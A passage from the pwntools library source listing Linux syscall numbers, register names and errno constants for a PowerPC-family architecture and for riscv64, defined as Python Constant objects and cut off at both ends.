Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',317) SYS_pivot_root = Constant('SYS_pivot_root',203) SYS_pkey_alloc = Constant('SYS_pkey_alloc',384) SYS_pkey_free = Constant('SYS_pkey_free',385) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',386) SYS_poll = Constant('SYS_poll',167) SYS_ppoll = Constant('SYS_ppoll',281) SYS_prctl = Constant('SYS_prctl',171) SYS_pread = Constant('SYS_pread',179) SYS_preadv = Constant('SYS_preadv',320) SYS_preadv2 = Constant('SYS_preadv2',380) SYS_prlimit64 = Constant('SYS_prlimit64',325) SYS_process_vm_readv = Constant('SYS_process_vm_readv',351) SYS_process_vm_writev = Constant('SYS_process_vm_writev',352) SYS_prof = Constant('SYS_prof',44) SYS_profil = Constant('SYS_profil',98) SYS_pselect6 = Constant('SYS_pselect6',280) SYS_ptrace = Constant('SYS_ptrace',26) SYS_putpmsg = Constant('SYS_putpmsg',188) SYS_pwrite = Constant('SYS_pwrite',180) SYS_pwritev = Constant('SYS_pwritev',321) SYS_pwritev2 = Constant('SYS_pwritev2',381) SYS_query_module = Constant('SYS_query_module',166) SYS_quotactl = Constant('SYS_quotactl',131) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',191) SYS_readdir = Constant('SYS_readdir',89) SYS_readlink = Constant('SYS_readlink',85) SYS_readlinkat = Constant('SYS_readlinkat',296) SYS_readv = Constant('SYS_readv',145) SYS_reboot = Constant('SYS_reboot',88) SYS_recv = Constant('SYS_recv',336) SYS_recvfrom = Constant('SYS_recvfrom',337) SYS_recvmmsg = Constant('SYS_recvmmsg',343) SYS_recvmsg = Constant('SYS_recvmsg',342) SYS_remap_file_pages = Constant('SYS_remap_file_pages',239) SYS_removexattr = Constant('SYS_removexattr',218) SYS_rename = Constant('SYS_rename',38) SYS_renameat = Constant('SYS_renameat',293) SYS_renameat2 = Constant('SYS_renameat2',357) SYS_request_key = Constant('SYS_request_key',270) SYS_rmdir = Constant('SYS_rmdir',40) SYS_rseq = Constant('SYS_rseq',387) SYS_rtas = Constant('SYS_rtas',255) SYS_rt_sigaction = Constant('SYS_rt_sigaction',173) SYS_rt_sigpending = Constant('SYS_rt_sigpending',175) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',174) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',177) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',172) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',178) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',176) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',322) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',223) SYS_sched_getattr = Constant('SYS_sched_getattr',356) SYS_sched_getparam = Constant('SYS_sched_getparam',155) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',222) SYS_sched_setattr = Constant('SYS_sched_setattr',355) SYS_sched_setparam = Constant('SYS_sched_setparam',154) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156) SYS_sched_yield = Constant('SYS_sched_yield',158) SYS_seccomp = Constant('SYS_seccomp',358) SYS_select = Constant('SYS_select',82) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop = Constant('SYS_semtimedop',392) SYS_send = Constant('SYS_send',334) SYS_sendfile = Constant('SYS_sendfile',186) SYS_sendmmsg = Constant('SYS_sendmmsg',349) SYS_sendmsg = Constant('SYS_sendmsg',341) SYS_sendto = Constant('SYS_sendto',335) SYS_setdomainname = Constant('SYS_setdomainname',121) SYS_setfsgid = Constant('SYS_setfsgid',139) SYS_setfsuid = Constant('SYS_setfsuid',138) SYS_setgid = Constant('SYS_setgid',46) SYS_setgroups = Constant('SYS_setgroups',81) SYS_sethostname = Constant('SYS_sethostname',74) SYS_setitimer = Constant('SYS_setitimer',104) SYS_set_mempolicy = Constant('SYS_set_mempolicy',261) SYS_setns = Constant('SYS_setns',350) SYS_setpgid = Constant('SYS_setpgid',57) SYS_setpriority = Constant('SYS_setpriority',97) SYS_setregid = Constant('SYS_setregid',71) SYS_setresgid = Constant('SYS_setresgid',169) SYS_setresuid = Constant('SYS_setresuid',164) SYS_setreuid = Constant('SYS_setreuid',70) SYS_setrlimit = Constant('SYS_setrlimit',75) SYS_set_robust_list = Constant('SYS_set_robust_list',300) SYS_setsid = Constant('SYS_setsid',66) SYS_setsockopt = Constant('SYS_setsockopt',339) SYS_set_tid_address = Constant('SYS_set_tid_address',232) SYS_settimeofday = Constant('SYS_settimeofday',79) SYS_setuid = Constant('SYS_setuid',23) SYS_setxattr = Constant('SYS_setxattr',209) SYS_sgetmask = Constant('SYS_sgetmask',68) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',338) SYS_sigaction = Constant('SYS_sigaction',67) SYS_sigaltstack = Constant('SYS_sigaltstack',185) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',305) SYS_signalfd4 = Constant('SYS_signalfd4',313) SYS_sigpending = Constant('SYS_sigpending',73) SYS_sigprocmask = Constant('SYS_sigprocmask',126) SYS_sigreturn = Constant('SYS_sigreturn',119) SYS_sigsuspend = Constant('SYS_sigsuspend',72) SYS_socket = Constant('SYS_socket',326) SYS_socketcall = Constant('SYS_socketcall',102) SYS_socketpair = Constant('SYS_socketpair',333) SYS_splice = Constant('SYS_splice',283) SYS_spu_create = Constant('SYS_spu_create',279) SYS_spu_run = Constant('SYS_spu_run',278) SYS_ssetmask = Constant('SYS_ssetmask',69) SYS_stat = Constant('SYS_stat',106) SYS_statfs = Constant('SYS_statfs',99) SYS_statfs64 = Constant('SYS_statfs64',252) SYS_statx = Constant('SYS_statx',383) SYS_stime = Constant('SYS_stime',25) SYS_stty = Constant('SYS_stty',31) SYS_subpage_prot = Constant('SYS_subpage_prot',310) SYS_swapcontext = Constant('SYS_swapcontext',249) SYS_swapoff = Constant('SYS_swapoff',115) SYS_swapon = Constant('SYS_swapon',87) SYS_switch_endian = Constant('SYS_switch_endian',363) SYS_symlink = Constant('SYS_symlink',83) SYS_symlinkat = Constant('SYS_symlinkat',295) SYS_sync = Constant('SYS_sync',36) SYS_sync_file_range2 = Constant('SYS_sync_file_range2',308) SYS_syncfs = Constant('SYS_syncfs',348) SYS__sysctl = Constant('SYS__sysctl',149) SYS_sysfs = Constant('SYS_sysfs',135) SYS_sysinfo = Constant('SYS_sysinfo',116) SYS_syslog = Constant('SYS_syslog',103) SYS_tee = Constant('SYS_tee',284) SYS_tgkill = Constant('SYS_tgkill',250) SYS_time = Constant('SYS_time',13) SYS_timer_create = Constant('SYS_timer_create',240) SYS_timer_delete = Constant('SYS_timer_delete',244) SYS_timerfd = Constant('SYS_timerfd',306) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',312) SYS_timerfd_settime = Constant('SYS_timerfd_settime',311) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',243) SYS_timer_gettime = Constant('SYS_timer_gettime',242) SYS_timer_settime = Constant('SYS_timer_settime',241) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',208) SYS_truncate = Constant('SYS_truncate',92) SYS_tuxcall = Constant('SYS_tuxcall',225) SYS_ugetrlimit = Constant('SYS_ugetrlimit',190) SYS_ulimit = Constant('SYS_ulimit',58) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',22) SYS_umount2 = Constant('SYS_umount2',52) SYS_uname = Constant('SYS_uname',122) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',292) SYS_unshare = Constant('SYS_unshare',282) SYS_uselib = Constant('SYS_uselib',86) SYS_userfaultfd = Constant('SYS_userfaultfd',364) SYS_ustat = Constant('SYS_ustat',62) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',304) SYS_utimes = Constant('SYS_utimes',251) SYS_vfork = Constant('SYS_vfork',189) SYS_vhangup = Constant('SYS_vhangup',111) SYS_vm86 = Constant('SYS_vm86',113) SYS_vmsplice = Constant('SYS_vmsplice',285) SYS_wait4 = Constant('SYS_wait4',114) SYS_waitid = Constant('SYS_waitid',272) SYS_waitpid = Constant('SYS_waitpid',7) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',146) r0 = Constant('r0',0) r1 = Constant('r1',1) r2 = Constant('r2',2) r3 = Constant('r3',3) r4 = Constant('r4',4) r5 = Constant('r5',5) r6 = Constant('r6',6) r7 = Constant('r7',7) r8 = Constant('r8',8) r9 = Constant('r9',9) r10 = Constant('r10',10) r11 = Constant('r11',11) r12 = Constant('r12',12) r13 = Constant('r13',13) r14 = Constant('r14',14) r15 = Constant('r15',15) r16 = Constant('r16',16) r17 = Constant('r17',17) r18 = Constant('r18',18) r19 = Constant('r19',19) r20 = Constant('r20',20) r21 = Constant('r21',21) r22 = Constant('r22',22) r23 = Constant('r23',23) r24 = Constant('r24',24) r25 = Constant('r25',25) r26 = Constant('r26',26) r27 = Constant('r27',27) r28 = Constant('r28',28) r29 = Constant('r29',29) r30 = Constant('r30',30) r31 = Constant('r31',31) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/riscv64.py000066400000000000000000001600611507273764500245260ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_io_setup = Constant('__NR_io_setup',0) __NR_io_destroy = Constant('__NR_io_destroy',1) __NR_io_submit = Constant('__NR_io_submit',2) __NR_io_cancel = Constant('__NR_io_cancel',3) __NR_io_getevents = Constant('__NR_io_getevents',4) __NR_setxattr = Constant('__NR_setxattr',5) __NR_lsetxattr = Constant('__NR_lsetxattr',6) __NR_fsetxattr = Constant('__NR_fsetxattr',7) __NR_getxattr = Constant('__NR_getxattr',8) __NR_lgetxattr = Constant('__NR_lgetxattr',9) __NR_fgetxattr = Constant('__NR_fgetxattr',10) __NR_listxattr = Constant('__NR_listxattr',11) __NR_llistxattr = Constant('__NR_llistxattr',12) __NR_flistxattr = Constant('__NR_flistxattr',13) __NR_removexattr = Constant('__NR_removexattr',14) __NR_lremovexattr = Constant('__NR_lremovexattr',15) __NR_fremovexattr = Constant('__NR_fremovexattr',16) __NR_getcwd = Constant('__NR_getcwd',17) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',18) __NR_eventfd2 = Constant('__NR_eventfd2',19) __NR_epoll_create1 = Constant('__NR_epoll_create1',20) __NR_epoll_ctl = Constant('__NR_epoll_ctl',21) __NR_epoll_pwait = Constant('__NR_epoll_pwait',22) __NR_dup = Constant('__NR_dup',23) __NR_dup3 = Constant('__NR_dup3',24) __NR_fcntl = Constant('__NR_fcntl',25) __NR_inotify_init1 = Constant('__NR_inotify_init1',26) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',27) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',28) __NR_ioctl = Constant('__NR_ioctl',29) __NR_ioprio_set = Constant('__NR_ioprio_set',30) __NR_ioprio_get = Constant('__NR_ioprio_get',31) __NR_flock = Constant('__NR_flock',32) __NR_mknodat = Constant('__NR_mknodat',33) __NR_mkdirat = Constant('__NR_mkdirat',34) __NR_unlinkat = Constant('__NR_unlinkat',35) __NR_symlinkat = Constant('__NR_symlinkat',36) __NR_linkat = Constant('__NR_linkat',37) __NR_umount2 = Constant('__NR_umount2',39) __NR_mount = Constant('__NR_mount',40) __NR_pivot_root = Constant('__NR_pivot_root',41) __NR_nfsservctl = Constant('__NR_nfsservctl',42) __NR_statfs = Constant('__NR_statfs',43) __NR_fstatfs = Constant('__NR_fstatfs',44) __NR_truncate = Constant('__NR_truncate',45) __NR_ftruncate = Constant('__NR_ftruncate',46) __NR_fallocate = Constant('__NR_fallocate',47) __NR_faccessat = Constant('__NR_faccessat',48) __NR_chdir = Constant('__NR_chdir',49) __NR_fchdir = Constant('__NR_fchdir',50) __NR_chroot = Constant('__NR_chroot',51) __NR_fchmod = Constant('__NR_fchmod',52) __NR_fchmodat = Constant('__NR_fchmodat',53) __NR_fchownat = Constant('__NR_fchownat',54) __NR_fchown = Constant('__NR_fchown',55) __NR_openat = Constant('__NR_openat',56) __NR_close = Constant('__NR_close',57) __NR_vhangup = Constant('__NR_vhangup',58) __NR_pipe2 = Constant('__NR_pipe2',59) __NR_quotactl = Constant('__NR_quotactl',60) __NR_getdents64 = Constant('__NR_getdents64',61) __NR_lseek = Constant('__NR_lseek',62) __NR_read = Constant('__NR_read',63) __NR_write = Constant('__NR_write',64) __NR_readv = Constant('__NR_readv',65) __NR_writev = Constant('__NR_writev',66) __NR_pread64 = Constant('__NR_pread64',67) __NR_pwrite64 = Constant('__NR_pwrite64',68) __NR_preadv = Constant('__NR_preadv',69) __NR_pwritev = Constant('__NR_pwritev',70) __NR_sendfile = Constant('__NR_sendfile',71) __NR_pselect6 = Constant('__NR_pselect6',72) __NR_ppoll = Constant('__NR_ppoll',73) __NR_signalfd4 = Constant('__NR_signalfd4',74) __NR_vmsplice = Constant('__NR_vmsplice',75) __NR_splice = Constant('__NR_splice',76) __NR_tee = Constant('__NR_tee',77) __NR_readlinkat = Constant('__NR_readlinkat',78) __NR_newfstatat = Constant('__NR_newfstatat',79) __NR_fstat = Constant('__NR_fstat',80) __NR_sync = Constant('__NR_sync',81) __NR_fsync = Constant('__NR_fsync',82) __NR_fdatasync = Constant('__NR_fdatasync',83) __NR_sync_file_range = Constant('__NR_sync_file_range',84) __NR_timerfd_create = Constant('__NR_timerfd_create',85) __NR_timerfd_settime = Constant('__NR_timerfd_settime',86) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',87) __NR_utimensat = Constant('__NR_utimensat',88) __NR_acct = Constant('__NR_acct',89) __NR_capget = Constant('__NR_capget',90) __NR_capset = Constant('__NR_capset',91) __NR_personality = Constant('__NR_personality',92) __NR_exit = Constant('__NR_exit',93) __NR_exit_group = Constant('__NR_exit_group',94) __NR_waitid = Constant('__NR_waitid',95) __NR_set_tid_address = Constant('__NR_set_tid_address',96) __NR_unshare = Constant('__NR_unshare',97) __NR_futex = Constant('__NR_futex',98) __NR_set_robust_list = Constant('__NR_set_robust_list',99) __NR_get_robust_list = Constant('__NR_get_robust_list',100) __NR_nanosleep = Constant('__NR_nanosleep',101) __NR_getitimer = Constant('__NR_getitimer',102) __NR_setitimer = Constant('__NR_setitimer',103) __NR_kexec_load = Constant('__NR_kexec_load',104) __NR_init_module = Constant('__NR_init_module',105) __NR_delete_module = Constant('__NR_delete_module',106) __NR_timer_create = Constant('__NR_timer_create',107) __NR_timer_gettime = Constant('__NR_timer_gettime',108) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',109) __NR_timer_settime = Constant('__NR_timer_settime',110) __NR_timer_delete = Constant('__NR_timer_delete',111) __NR_clock_settime = Constant('__NR_clock_settime',112) __NR_clock_gettime = Constant('__NR_clock_gettime',113) __NR_clock_getres = Constant('__NR_clock_getres',114) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',115) __NR_syslog = Constant('__NR_syslog',116) __NR_ptrace = Constant('__NR_ptrace',117) __NR_sched_setparam = Constant('__NR_sched_setparam',118) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',119) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',120) __NR_sched_getparam = Constant('__NR_sched_getparam',121) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',122) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',123) __NR_sched_yield = Constant('__NR_sched_yield',124) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',125) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',126) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',127) __NR_restart_syscall = Constant('__NR_restart_syscall',128) __NR_kill = Constant('__NR_kill',129) __NR_tkill = Constant('__NR_tkill',130) __NR_tgkill = Constant('__NR_tgkill',131) __NR_sigaltstack = Constant('__NR_sigaltstack',132) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',133) __NR_rt_sigaction = Constant('__NR_rt_sigaction',134) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',135) __NR_rt_sigpending = Constant('__NR_rt_sigpending',136) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',137) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',138) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',139) __NR_setpriority = Constant('__NR_setpriority',140) __NR_getpriority = Constant('__NR_getpriority',141) __NR_reboot = Constant('__NR_reboot',142) __NR_setregid = Constant('__NR_setregid',143) __NR_setgid = Constant('__NR_setgid',144) __NR_setreuid = Constant('__NR_setreuid',145) __NR_setuid = Constant('__NR_setuid',146) __NR_setresuid = Constant('__NR_setresuid',147) __NR_getresuid = Constant('__NR_getresuid',148) __NR_setresgid = Constant('__NR_setresgid',149) __NR_getresgid = Constant('__NR_getresgid',150) __NR_setfsuid = Constant('__NR_setfsuid',151) __NR_setfsgid = Constant('__NR_setfsgid',152) __NR_times = Constant('__NR_times',153) __NR_setpgid = Constant('__NR_setpgid',154) __NR_getpgid = Constant('__NR_getpgid',155) __NR_getsid = Constant('__NR_getsid',156) __NR_setsid = Constant('__NR_setsid',157) __NR_getgroups = Constant('__NR_getgroups',158) __NR_setgroups = Constant('__NR_setgroups',159) __NR_uname = Constant('__NR_uname',160) __NR_sethostname = Constant('__NR_sethostname',161) __NR_setdomainname = Constant('__NR_setdomainname',162) __NR_getrlimit = Constant('__NR_getrlimit',163) __NR_setrlimit = Constant('__NR_setrlimit',164) __NR_getrusage = Constant('__NR_getrusage',165) __NR_umask = Constant('__NR_umask',166) __NR_prctl = Constant('__NR_prctl',167) __NR_getcpu = Constant('__NR_getcpu',168) __NR_gettimeofday = Constant('__NR_gettimeofday',169) __NR_settimeofday = Constant('__NR_settimeofday',170) __NR_adjtimex = Constant('__NR_adjtimex',171) __NR_getpid = Constant('__NR_getpid',172) __NR_getppid = Constant('__NR_getppid',173) __NR_getuid = Constant('__NR_getuid',174) __NR_geteuid = Constant('__NR_geteuid',175) __NR_getgid = Constant('__NR_getgid',176) __NR_getegid = Constant('__NR_getegid',177) __NR_gettid = Constant('__NR_gettid',178) __NR_sysinfo = Constant('__NR_sysinfo',179) __NR_mq_open = Constant('__NR_mq_open',180) __NR_mq_unlink = Constant('__NR_mq_unlink',181) __NR_mq_timedsend = Constant('__NR_mq_timedsend',182) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',183) __NR_mq_notify = Constant('__NR_mq_notify',184) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',185) __NR_msgget = Constant('__NR_msgget',186) __NR_msgctl = Constant('__NR_msgctl',187) __NR_msgrcv = Constant('__NR_msgrcv',188) __NR_msgsnd = Constant('__NR_msgsnd',189) __NR_semget = Constant('__NR_semget',190) __NR_semctl = Constant('__NR_semctl',191) __NR_semtimedop = Constant('__NR_semtimedop',192) __NR_semop = Constant('__NR_semop',193) __NR_shmget = Constant('__NR_shmget',194) __NR_shmctl = Constant('__NR_shmctl',195) __NR_shmat = Constant('__NR_shmat',196) __NR_shmdt = Constant('__NR_shmdt',197) __NR_socket = Constant('__NR_socket',198) __NR_socketpair = Constant('__NR_socketpair',199) __NR_bind = Constant('__NR_bind',200) __NR_listen = Constant('__NR_listen',201) __NR_accept = Constant('__NR_accept',202) __NR_connect = Constant('__NR_connect',203) __NR_getsockname = Constant('__NR_getsockname',204) __NR_getpeername = Constant('__NR_getpeername',205) __NR_sendto = Constant('__NR_sendto',206) __NR_recvfrom = Constant('__NR_recvfrom',207) __NR_setsockopt = Constant('__NR_setsockopt',208) __NR_getsockopt = Constant('__NR_getsockopt',209) __NR_shutdown = Constant('__NR_shutdown',210) __NR_sendmsg = Constant('__NR_sendmsg',211) __NR_recvmsg = Constant('__NR_recvmsg',212) __NR_readahead = Constant('__NR_readahead',213) __NR_brk = Constant('__NR_brk',214) __NR_munmap = Constant('__NR_munmap',215) __NR_mremap = Constant('__NR_mremap',216) __NR_add_key = Constant('__NR_add_key',217) __NR_request_key = Constant('__NR_request_key',218) __NR_keyctl = Constant('__NR_keyctl',219) __NR_clone = Constant('__NR_clone',220) __NR_execve = Constant('__NR_execve',221) __NR_mmap = Constant('__NR_mmap',222) __NR_fadvise64 = Constant('__NR_fadvise64',223) __NR_swapon = Constant('__NR_swapon',224) __NR_swapoff = Constant('__NR_swapoff',225) __NR_mprotect = Constant('__NR_mprotect',226) __NR_msync = Constant('__NR_msync',227) __NR_mlock = Constant('__NR_mlock',228) __NR_munlock = Constant('__NR_munlock',229) __NR_mlockall = Constant('__NR_mlockall',230) __NR_munlockall = Constant('__NR_munlockall',231) __NR_mincore = Constant('__NR_mincore',232) __NR_madvise = Constant('__NR_madvise',233) __NR_remap_file_pages = Constant('__NR_remap_file_pages',234) __NR_mbind = Constant('__NR_mbind',235) __NR_get_mempolicy = Constant('__NR_get_mempolicy',236) __NR_set_mempolicy = Constant('__NR_set_mempolicy',237) __NR_migrate_pages = Constant('__NR_migrate_pages',238) __NR_move_pages = Constant('__NR_move_pages',239) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',240) __NR_perf_event_open = Constant('__NR_perf_event_open',241) __NR_accept4 = Constant('__NR_accept4',242) __NR_recvmmsg = Constant('__NR_recvmmsg',243) __NR_arch_specific_syscall = Constant('__NR_arch_specific_syscall',244) __NR_wait4 = Constant('__NR_wait4',260) __NR_prlimit64 = Constant('__NR_prlimit64',261) __NR_fanotify_init = Constant('__NR_fanotify_init',262) __NR_fanotify_mark = Constant('__NR_fanotify_mark',263) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',264) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',265) __NR_clock_adjtime = Constant('__NR_clock_adjtime',266) __NR_syncfs = Constant('__NR_syncfs',267) __NR_setns = Constant('__NR_setns',268) __NR_sendmmsg = Constant('__NR_sendmmsg',269) __NR_process_vm_readv = Constant('__NR_process_vm_readv',270) __NR_process_vm_writev = Constant('__NR_process_vm_writev',271) __NR_kcmp = Constant('__NR_kcmp',272) __NR_finit_module = Constant('__NR_finit_module',273) __NR_sched_setattr = Constant('__NR_sched_setattr',274) __NR_sched_getattr = Constant('__NR_sched_getattr',275) __NR_renameat2 = Constant('__NR_renameat2',276) __NR_seccomp = Constant('__NR_seccomp',277) __NR_getrandom = Constant('__NR_getrandom',278) __NR_memfd_create = Constant('__NR_memfd_create',279) __NR_bpf = Constant('__NR_bpf',280) __NR_execveat = Constant('__NR_execveat',281) __NR_userfaultfd = Constant('__NR_userfaultfd',282) __NR_membarrier = Constant('__NR_membarrier',283) __NR_mlock2 = Constant('__NR_mlock2',284) __NR_copy_file_range = Constant('__NR_copy_file_range',285) __NR_preadv2 = Constant('__NR_preadv2',286) __NR_pwritev2 = Constant('__NR_pwritev2',287) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',288) __NR_pkey_alloc = Constant('__NR_pkey_alloc',289) __NR_pkey_free = Constant('__NR_pkey_free',290) __NR_statx = Constant('__NR_statx',291) __NR_io_pgetevents = Constant('__NR_io_pgetevents',292) __NR_rseq = Constant('__NR_rseq',293) __NR_kexec_file_load = Constant('__NR_kexec_file_load',294) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_close_range = Constant('__NR_close_range',436) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) __NR_faccessat2 = Constant('__NR_faccessat2',439) __NR_process_madvise = Constant('__NR_process_madvise',440) __NR_epoll_pwait2 = Constant('__NR_epoll_pwait2',441) __NR_mount_setattr = Constant('__NR_mount_setattr',442) __NR_landlock_create_ruleset = Constant('__NR_landlock_create_ruleset',444) __NR_landlock_add_rule = Constant('__NR_landlock_add_rule',445) __NR_landlock_restrict_self = Constant('__NR_landlock_restrict_self',446) __NR_sysriscv = Constant('__NR_sysriscv',244) __NR_riscv_flush_icache = Constant('__NR_riscv_flush_icache',(244 + 15)) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = 